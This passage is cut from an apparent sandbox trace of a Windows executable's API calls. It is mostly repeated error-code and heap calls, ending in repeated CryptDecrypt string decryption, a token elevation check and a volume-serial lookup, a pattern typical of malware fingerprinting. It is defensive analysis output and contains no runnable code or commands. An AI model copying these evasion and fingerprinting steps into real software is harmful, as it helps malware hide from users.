(dwErrCode=0x0) [0031.498] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLastError () returned 0x0 [0031.498] SetLastError (dwErrCode=0x0) [0031.498] GetLastError () returned 0x0 [0031.499] SetLastError (dwErrCode=0x0) [0031.499] GetLastError () returned 0x0 [0031.499] SetLastError (dwErrCode=0x0) [0031.499] GetLastError () returned 0x0 [0031.499] SetLastError (dwErrCode=0x0) [0031.499] GetLastError () returned 0x0 [0031.499] SetLastError (dwErrCode=0x0) [0031.499] GetLastError () returned 0x0 [0031.499] SetLastError (dwErrCode=0x0) [0031.499] GetLastError () returned 0x0 [0031.499] SetLastError (dwErrCode=0x0) [0031.499] GetLastError () returned 0x0 [0031.499] SetLastError (dwErrCode=0x0) [0031.499] GetLastError () returned 0x0 [0031.499] SetLastError (dwErrCode=0x0) [0031.499] GetLastError () returned 0x0 [0031.499] SetLastError (dwErrCode=0x0) [0031.499] GetLastError () returned 0x0 [0031.499] SetLastError (dwErrCode=0x0) [0031.499] GetLastError () returned 0x0 [0031.499] SetLastError (dwErrCode=0x0) [0031.499] GetLastError () returned 0x0 [0031.499] SetLastError (dwErrCode=0x0) [0031.499] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLastError () returned 0x0 [0031.500] SetLastError (dwErrCode=0x0) [0031.500] GetLastError () returned 0x0 [0031.501] SetLastError (dwErrCode=0x0) [0031.501] GetLastError () returned 0x0 [0031.501] SetLastError (dwErrCode=0x0) [0031.501] GetLastError () returned 0x0 [0031.501] SetLastError (dwErrCode=0x0) [0031.501] GetLastError () returned 0x0 [0031.501] SetLastError (dwErrCode=0x0) [0031.501] GetLastError () returned 0x0 [0031.501] SetLastError (dwErrCode=0x0) [0031.501] GetLastError () returned 0x0 [0031.501] SetLastError (dwErrCode=0x0) [0031.501] GetLastError () returned 0x0 [0031.501] SetLastError (dwErrCode=0x0) [0031.501] GetLastError () returned 0x0 [0031.501] SetLastError (dwErrCode=0x0) [0031.501] GetLastError () returned 0x0 [0031.501] SetLastError (dwErrCode=0x0) [0031.501] GetLastError () returned 0x0 [0031.501] SetLastError (dwErrCode=0x0) [0031.501] GetLastError () returned 0x0 [0031.501] SetLastError (dwErrCode=0x0) [0031.501] GetLastError () returned 0x0 [0031.501] SetLastError (dwErrCode=0x0) [0031.501] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLastError () returned 0x0 [0031.502] SetLastError (dwErrCode=0x0) [0031.502] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.503] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.503] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.503] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.503] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.503] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.503] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.503] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.503] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.503] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.503] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.503] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.503] GetLastError () returned 0x0 [0031.503] SetLastError (dwErrCode=0x0) [0031.504] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLastError () returned 0x0 [0031.504] SetLastError (dwErrCode=0x0) [0031.504] GetLastError () returned 0x0 [0031.505] SetLastError (dwErrCode=0x0) [0031.505] GetLastError () returned 0x0 [0031.505] SetLastError (dwErrCode=0x0) [0031.505] GetLastError () returned 0x0 [0031.505] SetLastError (dwErrCode=0x0) [0031.505] GetLastError () returned 0x0 [0031.505] SetLastError (dwErrCode=0x0) [0031.505] GetLastError () returned 0x0 [0031.505] SetLastError (dwErrCode=0x0) [0031.505] GetLastError () returned 0x0 [0031.505] SetLastError (dwErrCode=0x0) [0031.505] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x73) returned 0xb81990 [0031.505] GetLastError () returned 0x0 [0031.505] SetLastError (dwErrCode=0x0) [0031.505] GetLastError () returned 0x0 [0031.505] SetLastError (dwErrCode=0x0) [0031.505] GetLastError () returned 0x0 [0031.505] SetLastError (dwErrCode=0x0) [0031.505] GetLastError () returned 0x0 [0031.505] SetLastError (dwErrCode=0x0) [0031.505] GetLastError () returned 0x0 [0031.505] SetLastError (dwErrCode=0x0) [0031.505] GetLastError () returned 0x0 [0031.505] SetLastError (dwErrCode=0x0) [0031.505] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLastError () returned 0x0 [0031.506] SetLastError (dwErrCode=0x0) [0031.506] GetLastError () returned 0x0 [0031.507] SetLastError (dwErrCode=0x0) [0031.507] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.508] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.508] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.508] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.508] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.508] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.508] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.508] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.508] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.508] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.508] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.508] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.508] GetLastError () returned 0x0 [0031.508] SetLastError (dwErrCode=0x0) [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLastError () returned 0x0 [0031.509] SetLastError (dwErrCode=0x0) [0031.509] GetLastError () returned 0x0 [0031.510] SetLastError (dwErrCode=0x0) [0031.510] GetLastError () returned 0x0 [0031.510] SetLastError (dwErrCode=0x0) [0031.510] GetLastError () returned 0x0 [0031.510] SetLastError (dwErrCode=0x0) [0031.510] GetLastError () returned 0x0 [0031.510] SetLastError (dwErrCode=0x0) [0031.510] GetLastError () returned 0x0 [0031.510] SetLastError (dwErrCode=0x0) [0031.510] GetLastError () returned 0x0 [0031.510] SetLastError (dwErrCode=0x0) [0031.510] GetLastError () returned 0x0 [0031.510] SetLastError (dwErrCode=0x0) [0031.510] GetLastError () returned 0x0 [0031.510] SetLastError (dwErrCode=0x0) [0031.510] GetLastError () returned 0x0 [0031.510] SetLastError (dwErrCode=0x0) [0031.510] GetLastError () returned 0x0 [0031.510] SetLastError (dwErrCode=0x0) [0031.510] GetLastError () returned 0x0 [0031.510] SetLastError (dwErrCode=0x0) [0031.510] GetLastError () returned 0x0 [0031.510] SetLastError (dwErrCode=0x0) [0031.510] GetLastError () returned 0x0 [0031.511] SetLastError (dwErrCode=0x0) [0031.511] GetLastError () returned 0x0 [0031.511] SetLastError (dwErrCode=0x0) [0031.511] GetLastError () returned 0x0 [0031.511] SetLastError (dwErrCode=0x0) [0031.511] GetLastError () returned 0x0 [0031.511] SetLastError (dwErrCode=0x0) [0031.511] GetLastError () returned 0x0 [0031.511] SetLastError (dwErrCode=0x0) [0031.511] GetLastError () returned 0x0 [0031.511] SetLastError (dwErrCode=0x0) [0031.511] GetLastError () returned 0x0 [0031.511] SetLastError (dwErrCode=0x0) [0031.511] GetLastError () returned 0x0 [0031.511] SetLastError (dwErrCode=0x0) [0031.511] GetLastError () returned 0x0 [0031.511] SetLastError (dwErrCode=0x0) [0031.511] GetLastError () returned 0x0 [0031.511] SetLastError (dwErrCode=0x0) [0031.511] GetLastError () returned 0x0 [0031.511] SetLastError (dwErrCode=0x0) [0031.511] GetLastError () returned 0x0 [0031.511] SetLastError (dwErrCode=0x0) [0031.511] GetLastError () returned 0x0 [0031.511] SetLastError (dwErrCode=0x0) [0031.512] GetLastError () returned 0x0 [0031.512] SetLastError (dwErrCode=0x0) [0031.512] GetLastError () returned 0x0 [0031.512] SetLastError (dwErrCode=0x0) [0031.512] GetLastError () returned 0x0 [0031.512] SetLastError (dwErrCode=0x0) [0031.512] GetLastError () returned 0x0 [0031.512] SetLastError (dwErrCode=0x0) [0031.512] GetLastError () returned 0x0 [0031.512] SetLastError (dwErrCode=0x0) [0031.512] GetLastError () returned 0x0 [0031.512] SetLastError (dwErrCode=0x0) [0031.512] GetLastError () returned 0x0 [0031.512] SetLastError (dwErrCode=0x0) [0031.512] GetLastError () returned 0x0 [0031.512] SetLastError (dwErrCode=0x0) [0031.512] GetLastError () returned 0x0 [0031.512] SetLastError (dwErrCode=0x0) [0031.512] GetLastError () returned 0x0 [0031.512] SetLastError (dwErrCode=0x0) [0031.512] GetLastError () returned 0x0 [0031.512] SetLastError (dwErrCode=0x0) [0031.512] GetLastError () returned 0x0 [0031.512] SetLastError (dwErrCode=0x0) [0031.512] GetLastError () returned 0x0 [0031.513] SetLastError (dwErrCode=0x0) [0031.513] GetLastError () returned 0x0 [0031.513] SetLastError (dwErrCode=0x0) [0031.513] GetLastError () returned 0x0 [0031.513] SetLastError (dwErrCode=0x0) [0031.513] GetLastError () returned 0x0 [0031.513] SetLastError (dwErrCode=0x0) [0031.513] GetLastError () returned 0x0 [0031.513] SetLastError (dwErrCode=0x0) [0031.513] GetLastError () returned 0x0 [0031.513] SetLastError (dwErrCode=0x0) [0031.513] GetLastError () returned 0x0 [0031.513] SetLastError (dwErrCode=0x0) [0031.513] GetLastError () returned 0x0 [0031.513] SetLastError (dwErrCode=0x0) [0031.513] GetLastError () returned 0x0 [0031.513] SetLastError (dwErrCode=0x0) [0031.513] GetLastError () returned 0x0 [0031.513] SetLastError (dwErrCode=0x0) [0031.513] GetLastError () returned 0x0 [0031.513] SetLastError (dwErrCode=0x0) [0031.513] GetLastError () returned 0x0 [0031.513] SetLastError (dwErrCode=0x0) [0031.513] GetLastError () returned 0x0 [0031.514] SetLastError (dwErrCode=0x0) [0031.514] GetLastError () returned 0x0 [0031.514] SetLastError (dwErrCode=0x0) [0031.514] GetLastError () returned 0x0 [0031.514] SetLastError (dwErrCode=0x0) [0031.514] GetLastError () returned 0x0 [0031.514] SetLastError (dwErrCode=0x0) [0031.514] GetLastError () returned 0x0 [0031.514] SetLastError (dwErrCode=0x0) [0031.514] GetLastError () returned 0x0 [0031.514] SetLastError (dwErrCode=0x0) [0031.514] GetLastError () returned 0x0 [0031.514] SetLastError (dwErrCode=0x0) [0031.514] GetLastError () returned 0x0 [0031.514] SetLastError (dwErrCode=0x0) [0031.514] GetLastError () returned 0x0 [0031.514] SetLastError (dwErrCode=0x0) [0031.514] GetLastError () returned 0x0 [0031.514] SetLastError (dwErrCode=0x0) [0031.514] GetLastError () returned 0x0 [0031.514] SetLastError (dwErrCode=0x0) [0031.514] GetLastError () returned 0x0 [0031.514] SetLastError (dwErrCode=0x0) [0031.514] GetLastError () returned 0x0 [0031.514] SetLastError (dwErrCode=0x0) [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x98) returned 0xb81a10 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1f) returned 0xb81ab0 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x36) returned 0xb81ad8 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x37) returned 0xb81b18 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x3c) returned 0xb81b58 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x31) returned 0xb81ba0 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x17) returned 0xb81be0 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x24) returned 0xb81c00 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x14) returned 0xb81c30 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0xd) returned 0xb81c50 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x25) returned 0xb81c68 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x39) returned 0xb81c98 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x18) returned 0xb81ce0 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x17) returned 0xb81d00 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0xe) returned 0xb81d20 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x69) returned 0xb81d38 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x3e) returned 0xb81db0 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1b) returned 0xb81df8 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1d) returned 0xb81e20 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x48) returned 0xb81e48 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x12) returned 0xb81e98 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x18) returned 0xb81eb8 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1b) returned 0xb81ed8 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x24) returned 0xb81f00 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x29) returned 0xb81f30 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb81f68 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x41) returned 0xb81f90 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x17) returned 0xb81fe8 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0xf) returned 0xb82008 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x16) returned 0xb82020 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x2a) returned 0xb82040 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x29) returned 0xb82078 [0031.515] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x15) returned 0xb820b0 [0031.516] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb820d0 [0031.516] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x2a) returned 0xb820f8 [0031.516] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x12) returned 0xb82130 [0031.516] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x18) returned 0xb82150 [0031.516] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x46) returned 0xb82170 [0031.516] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb811f8 | out: hHeap=0xb80000) returned 1 [0031.516] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0031.516] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x80) returned 0xb811f8 [0031.516] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x12a81f6) returned 0x0 [0031.517] RtlSizeHeap (HeapHandle=0xb80000, Flags=0x0, MemoryPointer=0xb811f8) returned 0x80 [0031.517] GetLastError () returned 0x0 [0031.517] SetLastError (dwErrCode=0x0) [0031.517] GetLastError () returned 0x0 [0031.517] SetLastError (dwErrCode=0x0) [0031.517] GetLastError () returned 0x0 [0031.517] SetLastError (dwErrCode=0x0) [0031.517] GetLastError () returned 0x0 [0031.517] SetLastError (dwErrCode=0x0) [0031.517] GetLastError () returned 0x0 [0031.517] SetLastError (dwErrCode=0x0) [0031.517] GetLastError () returned 0x0 [0031.517] SetLastError (dwErrCode=0x0) [0031.517] GetLastError () returned 0x0 [0031.517] SetLastError (dwErrCode=0x0) [0031.517] GetLastError () returned 0x0 [0031.517] SetLastError (dwErrCode=0x0) [0031.517] GetLastError () returned 0x0 [0031.517] SetLastError (dwErrCode=0x0) [0031.517] GetLastError () returned 0x0 [0031.518] SetLastError (dwErrCode=0x0) [0031.518] GetLastError () returned 0x0 [0031.518] SetLastError (dwErrCode=0x0) [0031.518] GetLastError () returned 0x0 [0031.518] SetLastError (dwErrCode=0x0) [0031.518] GetLastError () returned 0x0 [0031.518] SetLastError (dwErrCode=0x0) [0031.518] GetLastError () returned 0x0 [0031.518] SetLastError (dwErrCode=0x0) [0031.518] GetLastError () returned 0x0 [0031.518] SetLastError (dwErrCode=0x0) [0031.518] GetLastError () returned 0x0 [0031.518] SetLastError (dwErrCode=0x0) [0031.518] GetLastError () returned 0x0 [0031.518] SetLastError (dwErrCode=0x0) [0031.518] GetLastError () returned 0x0 [0031.518] SetLastError (dwErrCode=0x0) [0031.518] GetLastError () returned 0x0 [0031.518] SetLastError (dwErrCode=0x0) [0031.518] GetLastError () returned 0x0 [0031.518] SetLastError (dwErrCode=0x0) [0031.518] GetLastError () returned 0x0 [0031.518] SetLastError (dwErrCode=0x0) [0031.518] GetLastError () returned 0x0 [0031.519] SetLastError (dwErrCode=0x0) [0031.519] GetLastError () returned 0x0 [0031.519] SetLastError (dwErrCode=0x0) [0031.519] GetLastError () returned 0x0 [0031.519] SetLastError (dwErrCode=0x0) [0031.519] GetLastError () returned 0x0 [0031.519] SetLastError (dwErrCode=0x0) [0031.519] GetLastError () returned 0x0 [0031.519] SetLastError (dwErrCode=0x0) [0031.519] GetLastError () returned 0x0 [0031.519] SetLastError (dwErrCode=0x0) [0031.519] GetLastError () returned 0x0 [0031.519] SetLastError (dwErrCode=0x0) [0031.519] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x30) returned 0xb81280 [0031.519] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x3340) returned 0xb821c0 [0031.519] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x174) returned 0xb812b8 [0031.519] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10) returned 0xb81438 [0031.520] CryptAcquireContextW (in: phProv=0x12afcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x12afcf0*=0x585138) returned 1 [0031.698] CryptImportKey (in: hProv=0x585138, pbData=0x2cf988, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf9f0 | out: phKey=0x2cf9f0*=0x584f20) returned 1 [0031.700] CryptSetKeyParam (hKey=0x584f20, dwParam=0x1, pbData=0x2cf9d8, dwFlags=0x0) returned 1 [0031.701] CryptDecrypt (in: hKey=0x584f20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81438, pdwDataLen=0x2cf9a4 | out: pbData=0xb81438, pdwDataLen=0x2cf9a4) returned 1 [0031.702] CryptDestroyKey (hKey=0x584f20) returned 1 [0031.702] GetTickCount () returned 0x18cf3 [0031.702] GetLastError () returned 0x0 [0031.702] SetLastError (dwErrCode=0x0) [0031.702] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x2cfa14, cchData=32 | out: lpLCData="\x03") returned 16 [0031.704] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1c) returned 0xb81450 [0031.704] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1c) returned 0xb81478 [0031.704] GetVersion () returned 0x1db10106 [0031.704] GetCurrentProcess () returned 0xffffffff [0031.704] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x2cf9fc | out: TokenHandle=0x2cf9fc*=0x80) returned 1 [0031.704] GetTokenInformation (in: TokenHandle=0x80, TokenInformationClass=0x14, TokenInformation=0x2cf9f4, TokenInformationLength=0x4, ReturnLength=0x2cf9f8 | out: TokenInformation=0x2cf9f4, ReturnLength=0x2cf9f8) returned 1 [0031.704] CloseHandle (hObject=0x80) returned 1 [0031.704] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb814a0 [0031.704] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8f0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf958 | out: phKey=0x2cf958*=0x584d00) returned 1 [0031.704] CryptSetKeyParam (hKey=0x584d00, dwParam=0x1, pbData=0x2cf940, dwFlags=0x0) returned 1 [0031.704] CryptDecrypt (in: hKey=0x584d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0x2cf90c | out: pbData=0xb814a0, pdwDataLen=0x2cf90c) returned 1 [0031.704] CryptDestroyKey (hKey=0x584d00) returned 1 [0031.704] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb814c8 [0031.704] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb814f0 [0031.704] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb81518 [0031.704] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf930 | out: phKey=0x2cf930*=0x584d00) returned 1 [0031.704] CryptSetKeyParam (hKey=0x584d00, dwParam=0x1, pbData=0x2cf918, dwFlags=0x0) returned 1 [0031.704] CryptDecrypt (in: hKey=0x584d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81518, pdwDataLen=0x2cf8e4 | out: pbData=0xb81518, pdwDataLen=0x2cf8e4) returned 1 [0031.704] CryptDestroyKey (hKey=0x584d00) returned 1 [0031.704] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81518 | out: hHeap=0xb80000) returned 1 [0031.704] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb814c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.704] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814f0 | out: hHeap=0xb80000) returned 1 [0031.704] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0031.705] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cf998, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cf998*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.705] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814c8 | out: hHeap=0xb80000) returned 1 [0031.705] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb814a0 [0031.705] CryptImportKey (in: hProv=0x585138, pbData=0x2cf924, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf98c | out: phKey=0x2cf98c*=0x584d00) returned 1 [0031.705] CryptSetKeyParam (hKey=0x584d00, dwParam=0x1, pbData=0x2cf974, dwFlags=0x0) returned 1 [0031.705] CryptDecrypt (in: hKey=0x584d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0x2cf940 | out: pbData=0xb814a0, pdwDataLen=0x2cf940) returned 1 [0031.705] CryptDestroyKey (hKey=0x584d00) returned 1 [0031.705] RtlAllocateHeap 